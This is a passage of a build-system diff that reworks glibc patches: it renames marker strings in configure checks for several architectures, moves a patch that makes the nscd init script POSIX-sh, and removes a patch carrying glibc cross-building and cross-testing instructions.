+ if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
+- $EGREP "yes" >/dev/null 2>&1; then :
++ $EGREP "is_aarch64_be" >/dev/null 2>&1; then :
+ libc_cv_aarch64_be=yes
+ else
+ libc_cv_aarch64_be=no
+diff --git a/sysdeps/aarch64/configure.ac b/sysdeps/aarch64/configure.ac
+index 3347c13fa1..4af163c0b6 100644
+--- a/sysdeps/aarch64/configure.ac
++++ b/sysdeps/aarch64/configure.ac
+@@ -17,8 +17,8 @@ AC_DEFINE(SUPPORT_STATIC_PIE)
+ # the dynamic linker via %ifdef.
+ AC_CACHE_CHECK([for big endian],
+ [libc_cv_aarch64_be],
+- [AC_EGREP_CPP(yes,[#ifdef __AARCH64EB__
+- yes
++ [AC_EGREP_CPP(is_aarch64_be,[#ifdef __AARCH64EB__
++ is_aarch64_be
+ #endif
+ ], libc_cv_aarch64_be=yes, libc_cv_aarch64_be=no)])
+ if test $libc_cv_aarch64_be = yes; then
+diff --git a/sysdeps/arm/configure b/sysdeps/arm/configure
+index 431e843b2b..e152461138 100644
+--- a/sysdeps/arm/configure
++++ b/sysdeps/arm/configure
+@@ -151,12 +151,12 @@ else
+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+ #ifdef __ARM_PCS_VFP
+- yes
++ use_arm_pcs_vfp
+ #endif
+
+ _ACEOF
+ if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
+- $EGREP "yes" >/dev/null 2>&1; then :
++ $EGREP "use_arm_pcs_vfp" >/dev/null 2>&1; then :
+ libc_cv_arm_pcs_vfp=yes
+ else
+ libc_cv_arm_pcs_vfp=no
+diff --git a/sysdeps/arm/configure.ac b/sysdeps/arm/configure.ac
+index 90cdd69c75..05a262ba00 100644
+--- a/sysdeps/arm/configure.ac
++++ b/sysdeps/arm/configure.ac
+@@ -15,8 +15,8 @@ AC_DEFINE(PI_STATIC_AND_HIDDEN)
+ # the dynamic linker via %ifdef.
+ AC_CACHE_CHECK([whether the compiler is using the ARM hard-float ABI],
+ [libc_cv_arm_pcs_vfp],
+- [AC_EGREP_CPP(yes,[#ifdef __ARM_PCS_VFP
+- yes
++ [AC_EGREP_CPP(use_arm_pcs_vfp,[#ifdef __ARM_PCS_VFP
++ use_arm_pcs_vfp
+ #endif
+ ], libc_cv_arm_pcs_vfp=yes, libc_cv_arm_pcs_vfp=no)])
+ if test $libc_cv_arm_pcs_vfp = yes; then
+diff --git a/sysdeps/mips/configure b/sysdeps/mips/configure
+index 4e13248c03..f14af952d0 100644
+--- a/sysdeps/mips/configure
++++ b/sysdeps/mips/configure
+@@ -143,11 +143,11 @@ else
+ /* end confdefs.h. */
+ dnl
+ #ifdef __mips_nan2008
+-yes
++use_mips_nan2008
+ #endif
+ _ACEOF
+ if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
+- $EGREP "yes" >/dev/null 2>&1; then :
++ $EGREP "use_mips_nan2008" >/dev/null 2>&1; then :
+ libc_cv_mips_nan2008=yes
+ else
+ libc_cv_mips_nan2008=no
+diff --git a/sysdeps/mips/configure.ac b/sysdeps/mips/configure.ac
+index bcbdaffd9f..ad3057f4cc 100644
+--- a/sysdeps/mips/configure.ac
++++ b/sysdeps/mips/configure.ac
+@@ -6,9 +6,9 @@ dnl position independent way.
+ dnl AC_DEFINE(PI_STATIC_AND_HIDDEN)
+
+ AC_CACHE_CHECK([whether the compiler is using the 2008 NaN encoding],
+- libc_cv_mips_nan2008, [AC_EGREP_CPP(yes, [dnl
++ libc_cv_mips_nan2008, [AC_EGREP_CPP(use_mips_nan2008, [dnl
+ #ifdef __mips_nan2008
+-yes
++use_mips_nan2008
+ #endif], libc_cv_mips_nan2008=yes, libc_cv_mips_nan2008=no)])
+ if test x$libc_cv_mips_nan2008 = xyes; then
+ AC_DEFINE(HAVE_MIPS_NAN2008)
+diff --git a/sysdeps/nios2/configure b/sysdeps/nios2/configure
+index 14c8a3a014..dde3814ef2 100644
+--- a/sysdeps/nios2/configure
++++ b/sysdeps/nios2/configure
+@@ -142,12 +142,12 @@ else
+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+ #ifdef __nios2_big_endian__
+- yes
++ is_nios2_be
+ #endif
+
+ _ACEOF
+ if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
+- $EGREP "yes" >/dev/null 2>&1; then :
++ $EGREP "is_nios2_be" >/dev/null 2>&1; then :
+ libc_cv_nios2_be=yes
+ else
+ libc_cv_nios2_be=no
+diff --git a/sysdeps/nios2/configure.ac b/sysdeps/nios2/configure.ac
+index f05f43802b..dc8639902d 100644
+--- a/sysdeps/nios2/configure.ac
++++ b/sysdeps/nios2/configure.ac
+@@ -4,8 +4,8 @@ GLIBC_PROVIDES dnl See aclocal.m4 in the top level source directory.
+ # Nios II big endian is not yet supported.
+ AC_CACHE_CHECK([for big endian],
+ [libc_cv_nios2_be],
+- [AC_EGREP_CPP(yes,[#ifdef __nios2_big_endian__
+- yes
++ [AC_EGREP_CPP(is_nios2_be,[#ifdef __nios2_big_endian__
++ is_nios2_be
+ #endif
+ ], libc_cv_nios2_be=yes, libc_cv_nios2_be=no)])
+ if test $libc_cv_nios2_be = yes; then
+diff --git a/sysdeps/unix/sysv/linux/mips/configure b/sysdeps/unix/sysv/linux/mips/configure
+index f25f2a3a65..1b7483e6c6 100644
+--- a/sysdeps/unix/sysv/linux/mips/configure
++++ b/sysdeps/unix/sysv/linux/mips/configure
+@@ -414,11 +414,11 @@ else
+ /* end confdefs.h. */
+ dnl
+ #ifdef __mips_nan2008
+-yes
++use_mips_nan2008
+ #endif
+ _ACEOF
+ if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
+- $EGREP "yes" >/dev/null 2>&1; then :
++ $EGREP "use_mips_nan2008" >/dev/null 2>&1; then :
+ libc_cv_mips_nan2008=yes
+ else
+ libc_cv_mips_nan2008=no
+diff --git a/sysdeps/unix/sysv/linux/mips/configure.ac b/sysdeps/unix/sysv/linux/mips/configure.ac
+index 049a0f4bdf..005526d4e8 100644
+--- a/sysdeps/unix/sysv/linux/mips/configure.ac
++++ b/sysdeps/unix/sysv/linux/mips/configure.ac
+@@ -105,9 +105,9 @@ AC_COMPILE_IFELSE(
+ LIBC_CONFIG_VAR([mips-mode-switch],[${libc_mips_mode_switch}])
+
+ AC_CACHE_CHECK([whether the compiler is using the 2008 NaN encoding],
+- libc_cv_mips_nan2008, [AC_EGREP_CPP(yes, [dnl
++ libc_cv_mips_nan2008, [AC_EGREP_CPP(use_mips_nan2008, [dnl
+ #ifdef __mips_nan2008
+-yes
++use_mips_nan2008
+ #endif], libc_cv_mips_nan2008=yes, libc_cv_mips_nan2008=no)])
+
+ libc_mips_nan=
+diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure b/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure
+index ae7f254da4..874519000b 100644
+--- a/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure
++++ b/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure
+@@ -155,12 +155,12 @@ else
+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+ #if _CALL_ELF == 2
+- yes
++ use_ppc_elfv2_abi
+ #endif
+
+ _ACEOF
+ if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
+- $EGREP "yes" >/dev/null 2>&1; then :
++ $EGREP "use_ppc_elfv2_abi" >/dev/null 2>&1; then :
+ libc_cv_ppc64_elfv2_abi=yes
+ else
+ libc_cv_ppc64_elfv2_abi=no
+@@ -188,12 +188,12 @@ else
+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+ #ifdef _CALL_ELF
+- yes
++ is_def_call_elf
+ #endif
+
+ _ACEOF
+ if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
+- $EGREP "yes" >/dev/null 2>&1; then :
++ $EGREP "is_def_call_elf" >/dev/null 2>&1; then :
+ libc_cv_ppc64_def_call_elf=yes
+ else
+ libc_cv_ppc64_def_call_elf=no
+diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure.ac b/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure.ac
+index f9cba6e15d..b21f72f1e4 100644
+--- a/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure.ac
++++ b/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure.ac
+@@ -6,8 +6,8 @@ LIBC_SLIBDIR_RTLDDIR([lib64], [lib64])
+ # Define default-abi according to compiler flags.
+ AC_CACHE_CHECK([whether the compiler is using the PowerPC64 ELFv2 ABI],
+ [libc_cv_ppc64_elfv2_abi],
+- [AC_EGREP_CPP(yes,[#if _CALL_ELF == 2
+- yes
++ [AC_EGREP_CPP(use_ppc_elfv2_abi,[#if _CALL_ELF == 2
++ use_ppc_elfv2_abi
+ #endif
+ ], libc_cv_ppc64_elfv2_abi=yes, libc_cv_ppc64_elfv2_abi=no)])
+ if test $libc_cv_ppc64_elfv2_abi = yes; then
+@@ -19,8 +19,8 @@ else
+ # Compiler that do not support ELFv2 ABI does not define _CALL_ELF
+ AC_CACHE_CHECK([whether the compiler defines _CALL_ELF],
+ [libc_cv_ppc64_def_call_elf],
+- [AC_EGREP_CPP(yes,[#ifdef _CALL_ELF
+- yes
++ [AC_EGREP_CPP(is_def_call_elf,[#ifdef _CALL_ELF
++ is_def_call_elf
+ #endif
+ ], libc_cv_ppc64_def_call_elf=yes, libc_cv_ppc64_def_call_elf=no)])
+ if test $libc_cv_ppc64_def_call_elf = no; then
diff --git a/meta/recipes-core/glibc/glibc/0017-Remove-bash-dependency-for-nscd-init-script.patch b/meta/recipes-core/glibc/glibc/0017-Remove-bash-dependency-for-nscd-init-script.patch
deleted file mode 100644
index 57907fe660..0000000000
--- a/meta/recipes-core/glibc/glibc/0017-Remove-bash-dependency-for-nscd-init-script.patch
+++ /dev/null
@@ -1,75 +0,0 @@
-From dac46c07736a799fc82be03aa546b2d24c19ad78 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 31 Dec 2015 14:33:02 -0800
-Subject: [PATCH 17/29] Remove bash dependency for nscd init script
-
-The nscd init script uses #! /bin/bash but only really uses one bashism
-(translated strings), so remove them and switch the shell to #!/bin/sh.
-
-Upstream-Status: Pending
-
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- nscd/nscd.init | 14 +++++++-------
- 1 file changed, 7 insertions(+), 7 deletions(-)
-
-diff --git a/nscd/nscd.init b/nscd/nscd.init
-index a882da7d8b..b02986ec15 100644
---- a/nscd/nscd.init
-+++ b/nscd/nscd.init
-@@ -1,4 +1,4 @@
--#!/bin/bash
-+#!/bin/sh
- #
- # nscd: Starts the Name Switch Cache Daemon
- #
-@@ -49,7 +49,7 @@ prog=nscd
- start () {
- [ -d /var/run/nscd ] || mkdir /var/run/nscd
- [ -d /var/db/nscd ] || mkdir /var/db/nscd
-- echo -n $"Starting $prog: "
-+ echo -n "Starting $prog: "
- daemon /usr/sbin/nscd
- RETVAL=$?
- echo
-@@ -58,7 +58,7 @@ start () {
- }
-
- stop () {
-- echo -n $"Stopping $prog: "
-+ echo -n "Stopping $prog: "
- /usr/sbin/nscd -K
- RETVAL=$?
- if [ $RETVAL -eq 0 ]; then
-@@ -67,9 +67,9 @@ stop () {
- # a non-privileged user
- rm -f /var/run/nscd/nscd.pid
- rm -f /var/run/nscd/socket
-- success $"$prog shutdown"
-+ success "$prog shutdown"
- else
-- failure $"$prog shutdown"
-+ failure "$prog shutdown"
- fi
- echo
- return $RETVAL
-@@ -103,13 +103,13 @@ case "$1" in
- RETVAL=$?
- ;;
- force-reload | reload)
-- echo -n $"Reloading $prog: "
-+ echo -n "Reloading $prog: "
- killproc /usr/sbin/nscd -HUP
- RETVAL=$?
- echo
- ;;
- *)
-- echo $"Usage: $0 {start|stop|status|restart|reload|condrestart}"
-+ echo "Usage: $0 {start|stop|status|restart|reload|condrestart}"
- RETVAL=1
- ;;
- esac
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0018-Remove-bash-dependency-for-nscd-init-script.patch b/meta/recipes-core/glibc/glibc/0018-Remove-bash-dependency-for-nscd-init-script.patch
new file mode 100644
index 0000000000..23296da61d
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0018-Remove-bash-dependency-for-nscd-init-script.patch
@@ -0,0 +1,72 @@
+From 412d33bbfe42a10a9b1f62afcc73fe121a0363b0 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 31 Dec 2015 14:33:02 -0800
+Subject: [PATCH] Remove bash dependency for nscd init script
+
+The nscd init script uses #! /bin/bash but only really uses one bashism
+(translated strings), so remove them and switch the shell to #!/bin/sh.
+
+Upstream-Status: Pending
+
+Signed-off-by: Ross Burton <ross.burton@intel.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ nscd/nscd.init | 14 +++++++-------
+ 1 file changed, 7 insertions(+), 7 deletions(-)
+
+diff --git a/nscd/nscd.init b/nscd/nscd.init
+index a882da7d8b..b02986ec15 100644
+--- a/nscd/nscd.init
++++ b/nscd/nscd.init
+@@ -1,4 +1,4 @@
+-#!/bin/bash
++#!/bin/sh
+ #
+ # nscd: Starts the Name Switch Cache Daemon
+ #
+@@ -49,7 +49,7 @@ prog=nscd
+ start () {
+ [ -d /var/run/nscd ] || mkdir /var/run/nscd
+ [ -d /var/db/nscd ] || mkdir /var/db/nscd
+- echo -n $"Starting $prog: "
++ echo -n "Starting $prog: "
+ daemon /usr/sbin/nscd
+ RETVAL=$?
+ echo
+@@ -58,7 +58,7 @@ start () {
+ }
+
+ stop () {
+- echo -n $"Stopping $prog: "
++ echo -n "Stopping $prog: "
+ /usr/sbin/nscd -K
+ RETVAL=$?
+ if [ $RETVAL -eq 0 ]; then
+@@ -67,9 +67,9 @@ stop () {
+ # a non-privileged user
+ rm -f /var/run/nscd/nscd.pid
+ rm -f /var/run/nscd/socket
+- success $"$prog shutdown"
++ success "$prog shutdown"
+ else
+- failure $"$prog shutdown"
++ failure "$prog shutdown"
+ fi
+ echo
+ return $RETVAL
+@@ -103,13 +103,13 @@ case "$1" in
+ RETVAL=$?
+ ;;
+ force-reload | reload)
+- echo -n $"Reloading $prog: "
++ echo -n "Reloading $prog: "
+ killproc /usr/sbin/nscd -HUP
+ RETVAL=$?
+ echo
+ ;;
+ *)
+- echo $"Usage: $0 {start|stop|status|restart|reload|condrestart}"
++ echo "Usage: $0 {start|stop|status|restart|reload|condrestart}"
+ RETVAL=1
+ ;;
+ esac
diff --git a/meta/recipes-core/glibc/glibc/0018-eglibc-Cross-building-and-testing-instructions.patch b/meta/recipes-core/glibc/glibc/0018-eglibc-Cross-building-and-testing-instructions.patch
deleted file mode 100644
index 58d41ffe04..0000000000
--- a/meta/recipes-core/glibc/glibc/0018-eglibc-Cross-building-and-testing-instructions.patch
+++ /dev/null
@@ -1,619 +0,0 @@
-From 0bd1dedf77194151397c53b12e0355c2edb8bccc Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:42:58 +0000
-Subject: [PATCH 18/29] eglibc: Cross building and testing instructions
-
-Ported from eglibc
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- GLIBC.cross-building | 383 +++++++++++++++++++++++++++++++++++++++++++
- GLIBC.cross-testing | 205 +++++++++++++++++++++++
- 2 files changed, 588 insertions(+)
- create mode 100644 GLIBC.cross-building
- create mode 100644 GLIBC.cross-testing
-
-diff --git a/GLIBC.cross-building b/GLIBC.cross-building
-new file mode 100644
-index 0000000000..e6e0da1aaf
---- /dev/null
-+++ b/GLIBC.cross-building
-@@ -0,0 +1,383 @@
-+ -*- mode: text -*-
-+
-+ Cross-Compiling GLIBC
-+ Jim Blandy <jimb@codesourcery.com>
-+
-+
-+Introduction
-+
-+Most GNU tools have a simple build procedure: you run their
-+'configure' script, and then you run 'make'. Unfortunately, the
-+process of cross-compiling the GNU C library is quite a bit more
-+involved:
-+
-+1) Build a cross-compiler, with certain facilities disabled.
-+
-+2) Configure the C library using the compiler you built in step 1).
-+ Build a few of the C run-time object files, but not the rest of the
-+ library. Install the library's header files and the run-time
-+ object files, and create a dummy libc.so.
-+
-+3) Build a second cross-compiler, using the header files and object
-+ files you installed in step 2.
-+
-+4) Configure, build, and install a fresh C library, using the compiler
-+ built in step 3.
-+
-+5) Build a third cross-compiler, based on the C library built in step 4.
-+
-+The reason for this complexity is that, although GCC and the GNU C
-+library are distributed separately, they are not actually independent
-+of each other: GCC requires the C library's headers and some object
-+files to compile its own libraries, while the C library depends on
-+GCC's libraries. GLIBC includes features and bug fixes to the stock
-+GNU C library that simplify this process, but the fundamental
-+interdependency stands.
-+
-+In this document, we explain how to cross-compile an GLIBC/GCC pair
-+from source. Our intended audience is developers who are already
-+familiar with the GNU toolchain and comfortable working with
-+cross-development tools. While we do present a worked example to
-+accompany the explanation, for clarity's sake we do not cover many of
-+the options available to cross-toolchain users.
-+
-+
-+Preparation
-+
-+GLIBC requires recent versions of the GNU binutils, GCC, and the
-+Linux kernel. The web page <http://www.eglibc.org/prerequisites>
-+documents the current requirements, and lists patches needed for
-+certain target architectures. As of this writing, these build
-+instructions have been tested with binutils 2.22.51, GCC 4.6.2,
-+and Linux 3.1.
-+
-+First, let's set some variables, to simplify later commands. We'll
-+build GLIBC and GCC for an ARM target, known to the Linux kernel
-+as 'arm', and we'll do the build on an Intel x86_64 Linux box:
-+
-+ $ build=x86_64-pc-linux-gnu
-+ $ host=$build
-+ $ target=arm-none-linux-gnueabi
-+ $ linux_arch=arm
-+
-+We're using the aforementioned versions of Binutils, GCC, and Linux:
-+
-+ $ binutilsv=binutils-2.22.51
-+ $ gccv=gcc-4.6.2
-+ $ linuxv=linux-3.1
-+
-+We're carrying out the entire process under '~/cross-build', which
-+contains unpacked source trees for binutils, gcc, and linux kernel,
-+along with GLIBC svn trunk (which can be checked-out with
-+'svn co http://www.eglibc.org/svn/trunk eglibc'):
-+
-+ $ top=$HOME/cross-build/$target
-+ $ src=$HOME/cross-build/src
-+ $ ls $src
-+ binutils-2.22.51 glibc gcc-4.6.2 linux-3.1
-+
-+We're going to place our build directories in a subdirectory 'obj',
-+we'll install the cross-development toolchain in 'tools', and we'll
-+place our sysroot (containing files to be installed on the target
-+system) in 'sysroot':
-+
-+ $ obj=$top/obj
-+ $ tools=$top/tools
-+ $ sysroot=$top/sysroot
-+
-+
-+Binutils
-+
-+Configuring and building binutils for the target is straightforward:
-+
-+ $ mkdir -p $obj/binutils
-+ $ cd $obj/binutils
-+ $ $src/$binutilsv/configure \
-+ > --target=$target \
-+ > --prefix=$tools \
-+ > --with-sysroot=$sysroot
-+ $ make
-+ $ make install
-+
-+
-+The First GCC
-+
-+For our work, we need a cross-compiler targeting an ARM Linux
-+system. However, that configuration includes the shared library
-+'libgcc_s.so', which is compiled against the GLIBC headers (which we
-+haven't installed yet) and linked against 'libc.so' (which we haven't
-+built yet).
-+
-+Fortunately, there are configuration options for GCC which tell it not
-+to build 'libgcc_s.so'. The '--without-headers' option is supposed to
-+take care of this, but its implementation is incomplete, so you must
-+also configure with the '--with-newlib' option. While '--with-newlib'
-+appears to mean "Use the Newlib C library", its effect is to tell the
-+GCC build machinery, "Don't assume there is a C library available."
-+
-+We also need to disable some of the libraries that would normally be
-+built along with GCC, and specify that only the compiler for the C
-+language is needed.
-+
-+So, we create a build directory, configure, make, and install.
-+
-+ $ mkdir -p $obj/gcc1
-+ $ cd $obj/gcc1
-+ $ $src/$gccv/configure \
-+ > --target=$target \
-+ > --prefix=$tools \
-+ > --without-headers --with-newlib \
-+ > --disable-shared --disable-threads --disable-libssp \
-+ > --disable-libgomp --disable-libmudflap --disable-libquadmath \
-+ > --disable-decimal-float --disable-libffi \
-+ > --enable-languages=c
-+ $ PATH=$tools/bin:$PATH make
-+ $ PATH=$tools/bin:$PATH make install
-+
-+
-+Linux Kernel Headers
-+
-+To configure GLIBC, we also need Linux kernel headers in place.
-+Fortunately, the Linux makefiles have a target that installs them for
-+us. Since the process does modify the source tree a bit, we make a
-+copy first:
-+
-+ $ cp -r $src/$linuxv $obj/linux
-+ $ cd $obj/linux
-+
-+Now we're ready to install the headers into the sysroot:
-+
-+ $ PATH=$tools/bin:$PATH \
-+ > make headers_install \
-+ > ARCH=$linux_arch CROSS_COMPILE=$target- \
-+ > INSTALL_HDR_PATH=$sysroot/usr
-+
-+
-+GLIBC Headers and Preliminary Objects
-+
-+Using the cross-compiler we've just built, we can now configure GLIBC
-+well enough to install the headers and build the object files that the
-+full cross-compiler will need:
-+
-+ $ mkdir -p $obj/glibc-headers
-+ $ cd $obj/glibc-headers
-+ $ BUILD_CC=gcc \
-+ > CC=$tools/bin/$target-gcc \
-+ > CXX=$tools/bin/$target-g++ \
-+ > AR=$tools/bin/$target-ar \
-+ > RANLIB=$tools/bin/$target-ranlib \
-+ > $src/glibc/libc/configure \
-+ > --prefix=/usr \
-+ > --with-headers=$sysroot/usr/include \
-+ > --build=$build \
-+ > --host=$target \
-+ > --disable-profile --without-gd --without-cvs \
-+ > --enable-add-ons=nptl,libidn,../ports
-+
-+The option '--prefix=/usr' may look strange, but you should never
-+configure GLIBC with a prefix other than '/usr': in various places,
-+GLIBC's build system checks whether the prefix is '/usr', and does
-+special handling only if that is the case. Unless you use this
-+prefix, you will get a sysroot that does not use the standard Linux
-+directory layouts and cannot be used as a basis for the root
-+filesystem on your target system compatibly with normal GLIBC
-+installations.
-+
-+The '--with-headers' option tells GLIBC where the Linux headers have
-+been installed.
-+
-+The '--enable-add-ons=nptl,libidn,../ports' option tells GLIBC to look
-+for the listed glibc add-ons. Most notably the ports add-on (located
-+just above the libc sources in the GLIBC svn tree) is required to
-+support ARM targets.
-+
-+We can now use the 'install-headers' makefile target to install the
-+headers:
-+
-+ $ make install-headers install_root=$sysroot \
-+ > install-bootstrap-headers=yes
-+
-+The 'install_root' variable indicates where the files should actually
-+be installed; its value is treated as the parent of the '--prefix'
-+directory we passed to the configure script, so the headers will go in
-+'$sysroot/usr/include'. The 'install-bootstrap-headers' variable
-+requests special handling for certain tricky header files.
-+
-+Next, there are a few object files needed to link shared libraries,
-+which we build and install by hand:
-+
-+ $ mkdir -p $sysroot/usr/lib
-+ $ make csu/subdir_lib
-+ $ cp csu/crt1.o csu/crti.o csu/crtn.o $sysroot/usr/lib
-+
-+Finally, 'libgcc_s.so' requires a 'libc.so' to link against. However,
-+since we will never actually execute its code, it doesn't matter what
-+it contains. So, treating '/dev/null' as a C source file, we produce
-+a dummy 'libc.so' in one step:
-+
-+ $ $tools/bin/$target-gcc -nostdlib -nostartfiles -shared -x c /dev/null \
-+ > -o $sysroot/usr/lib/libc.so
-+
-+
-+The Second GCC
-+
-+With the GLIBC headers and selected object files installed, we can
-+now build a GCC that is capable of compiling GLIBC. We configure,
-+build, and install the second GCC, again building only the C compiler,
-+and avoiding libraries we won't use:
-+
-+ $ mkdir -p $obj/gcc2
-+ $ cd $obj/gcc2
-+ $ $src/$gccv/configure \
-+ > --target=$target \
-+ > --prefix=$tools \
-+ > --with-sysroot=$sysroot \
-+ > --disable-libssp --disable-libgomp --disable-libmudflap \
-+ > --disable-libffi --disable-libquadmath \
-+ > --enable-languages=c
-+ $ PATH=$tools/bin:$PATH make
-+ $ PATH=$tools/bin:$PATH make install
-+
-+
-+GLIBC, Complete
-+
-+With the second compiler built and installed, we're now ready for the
-+full GLIBC build:
-+
-+ $ mkdir -p $obj/glibc
-+ $ cd $obj/glibc
-+ $ BUILD_CC=gcc \
-+ > CC=$tools/bin/$target-gcc \
-+ > CXX=$tools/bin/$target-g++ \
-+ > AR=$tools/bin/$target-ar \
-+ > RANLIB=$tools/bin/$target-ranlib \
-+ > $src/glibc/libc/configure \
-+ > --prefix=/usr \
-+ > --with-headers=$sysroot/usr/include \
-+ > --with-kconfig=$obj/linux/scripts/kconfig \
-+ > --build=$build \
-+ > --host=$target \
-+ > --disable-profile --without-gd --without-cvs \
-+ > --enable-add-ons=nptl,libidn,../ports
-+
-+Note the additional '--with-kconfig' option. This tells GLIBC where to
-+find the host config tools used by the kernel 'make config' and 'make
-+menuconfig'. These tools can be re-used by GLIBC for its own 'make
-+*config' support, which will create 'option-groups.config' for you.
-+But first make sure those tools have been built by running some
-+dummy 'make *config' calls in the kernel directory:
-+
-+ $ cd $obj/linux
-+ $ PATH=$tools/bin:$PATH make config \
-+ > ARCH=$linux_arch CROSS_COMPILE=$target- \
-+ $ PATH=$tools/bin:$PATH make menuconfig \
-+ > ARCH=$linux_arch CROSS_COMPILE=$target- \
-+
-+Now we can configure and build the full GLIBC:
-+
-+ $ cd $obj/glibc
-+ $ PATH=$tools/bin:$PATH make defconfig
-+ $ PATH=$tools/bin:$PATH make menuconfig
-+ $ PATH=$tools/bin:$PATH make
-+ $ PATH=$tools/bin:$PATH make install install_root=$sysroot
-+
-+At this point, we have a complete GLIBC installation in '$sysroot',
-+with header files, library files, and most of the C runtime startup
-+files in place.
-+
-+
-+The Third GCC
-+
-+Finally, we recompile GCC against this full installation, enabling
-+whatever languages and libraries we would like to use:
-+
-+ $ mkdir -p $obj/gcc3
-+ $ cd $obj/gcc3
-+ $ $src/$gccv/configure \
-+ > --target=$target \
-+ > --prefix=$tools \
-+ > --with-sysroot=$sysroot \
-+ > --enable-__cxa_atexit \
-+ > --disable-libssp --disable-libgomp --disable-libmudflap \
-+ > --enable-languages=c,c++
-+ $ PATH=$tools/bin:$PATH make
-+ $ PATH=$tools/bin:$PATH make install
-+
-+The '--enable-__cxa_atexit' option tells GCC what sort of C++
-+destructor support to expect from the C library; it's required with
-+GLIBC.
-+
-+And since GCC's installation process isn't designed to help construct
-+sysroot trees, we must manually copy certain libraries into place in
-+the sysroot.
-+
-+ $ cp -d $tools/$target/lib/libgcc_s.so* $sysroot/lib
-+ $ cp -d $tools/$target/lib/libstdc++.so* $sysroot/usr/lib
-+
-+
-+Trying Things Out
-+
-+At this point, '$tools' contains a cross toolchain ready to use
-+the GLIBC installation in '$sysroot':
-+
-+ $ cat > hello.c <<EOF
-+ > #include <stdio.h>
-+ > int
-+ > main (int argc, char **argv)
-+ > {
-+ > puts ("Hello, world!");
-+ > return 0;
-+ > }
-+ > EOF
-+ $ $tools/bin/$target-gcc -Wall hello.c -o hello
-+ $ cat > c++-hello.cc <<EOF
-+ > #include <iostream>
-+ > int
-+ > main (int argc, char **argv)
-+ > {
-+ > std::cout << "Hello, C++ world!" << std::endl;
-+ > return 0;
-+ > }
-+ > EOF
-+ $ $tools/bin/$target-g++ -Wall c++-hello.cc -o c++-hello
-+
-+
-+We can use 'readelf' to verify that these are indeed executables for
-+our target, using our dynamic linker:
-+
-+ $ $tools/bin/$target-readelf -hl hello
-+ ELF Header:
-+ ...
-+ Type: EXEC (Executable file)
-+ Machine: ARM
-+
-+ ...
-+ Program Headers:
-+ Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
-+ PHDR 0x000034 0x10000034 0x10000034 0x00100 0x00100 R E 0x4
-+ INTERP 0x000134 0x00008134 0x00008134 0x00013 0x00013 R 0x1
-+ [Requesting program interpreter: /lib/ld-linux.so.3]
-+ LOAD 0x000000 0x00008000 0x00008000 0x0042c 0x0042c R E 0x8000
-+ ...
-+
-+Looking at the dynamic section of the installed 'libgcc_s.so', we see
-+that the 'NEEDED' entry for the C library does include the '.6'
-+suffix, indicating that was linked against our fully build GLIBC, and
-+not our dummy 'libc.so':
-+
-+ $ $tools/bin/$target-readelf -d $sysroot/lib/libgcc_s.so.1
-+ Dynamic section at offset 0x1083c contains 24 entries:
-+ Tag Type Name/Value
-+ 0x00000001 (NEEDED) Shared library: [libc.so.6]
-+ 0x0000000e (SONAME) Library soname: [libgcc_s.so.1]
-+ ...
-+
-+
-+And on the target machine, we can run our programs:
-+
-+ $ $sysroot/lib/ld.so.1 --library-path $sysroot/lib:$sysroot/usr/lib \
-+ > ./hello
-+ Hello, world!
-+ $ $sysroot/lib/ld.so.1 --library-path $sysroot/lib:$sysroot/usr/lib \
-+ > ./c++-hello
-+ Hello, C++ world!
-diff --git a/GLIBC.cross-testing b/GLIBC.cross-testing
-new file mode 100644
-index 0000000000..b67b468466
---- /dev/null
-+++ b/GLIBC.cross-testing
-@@ -0,0 +1,205 @@
-+ -*- mode: text -*-
-+
-+ Cross-Testing With GLIBC
-+ Jim Blandy <jimb@codesourcery.com>
-+
-+
-+Introduction
-+
-+Developers writing software for embedded systems often use a desktop
-+or other similarly capable computer for development, but need to run
-+tests on the embedded system, or perhaps on a simulator. When
-+configured for cross-compilation, the stock GNU C library simply
-+disables running tests altogether: the command 'make tests' builds
-+test programs, but does not run them. GLIBC, however, provides
-+facilities for compiling tests and generating data files on the build
-+system, but running the test programs themselves on a remote system or
-+simulator.
-+
-+
-+Test environment requirements
-+
-+The test environment must meet certain conditions for GLIBC's
-+cross-testing facilities to work:
-+
-+- Shared filesystems. The 'build' system, on which you configure and
-+ compile GLIBC, and the 'host' system, on which you intend to run
-+ GLIBC, must share a filesystem containing the GLIBC build and
-+ source trees. Files must appear at the same paths on both systems.
-+
-+- Remote-shell like invocation. There must be a way to run a program
-+ on the host system from the build system, passing it properly quoted
-+ command-line arguments, setting environment variables, and
-+ inheriting the caller's standard input and output.
-+
-+
-+Usage
-+
-+To use GLIBC's cross-testing support, provide values for the
-+following Make variables when you invoke 'make':
-+
-+- cross-test-wrapper
-+
-+ This should be the name of the cross-testing wrapper command, along
